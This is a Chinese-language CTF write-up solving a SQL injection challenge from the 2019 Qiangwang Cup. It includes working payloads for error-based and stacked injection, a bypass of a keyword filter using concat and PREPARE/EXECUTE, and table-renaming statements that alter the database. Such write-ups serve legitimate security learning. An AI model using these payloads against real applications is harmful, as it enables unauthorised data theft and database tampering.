19年强网杯的一道题目
题目环境:https://buuoj.cn/challenges#随便注

解题思路

题目名字叫随便注,显然是sql注入

  • 首先确定注入的类型
1
inject=1'

得到报错

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’’ at line 1

可以确定是字符型的注入

  • 尝试利用报错注入
1
inject=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

返回

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

可以看到过滤了select,update,delete,drop,insert,where和.
利用别的报错注入可以得到库名为supersqli

1
inject=1' and extractvalue(1, concat(0x5c, database(),0x5c)) --+

但接下来无论是union select还是报错注入都没办去获取表名,因为select被过滤了,也没有找到什么办法绕过

  • 发现堆叠注入
1
inject=1';show tables;--+

发现可以堆叠注入,得到表名1919810931114514和words
把被过滤的关键字拆分开,用concat拼接,然后用PREPARED和EXECUTE执行

1
inject=1';use information_schema;set @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');prepare stmt1 from @sql;execute stmt1;--+

返回

1
strstr($inject, "set") && strstr($inject, "prepare")

大写没有过滤,把set或者prepare改成大写即可绕过

1
inject=1';use information_schema;SET @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');PREPARE stmt1 from @sql;execute stmt1;--+

得到列名hahahah和flag

1
';use supersqli;SET @sql=concat('s','elect flag from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;--+

拿到flag
注意当表名以数字开头时要用反引号括起来,所以要用`1919810931114514`

一道类似的题目是18年SUCTF的MultiSql

其他的一些做法

  • 获取列名还可以
1
inject=1';show columns from `1919810931114514` --+
  • 另一种思路是把words表改成其他名字,把1919810931114514改成words,因为原本的sql语句是从words表中查询,所以只要把flag列改名成id就可以直接查询出flag
1
inject=1';RENAME TABLE `words` TO `temp`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words; --+
1
2
inject=1' or 1=1 --+
查询出表中所有内容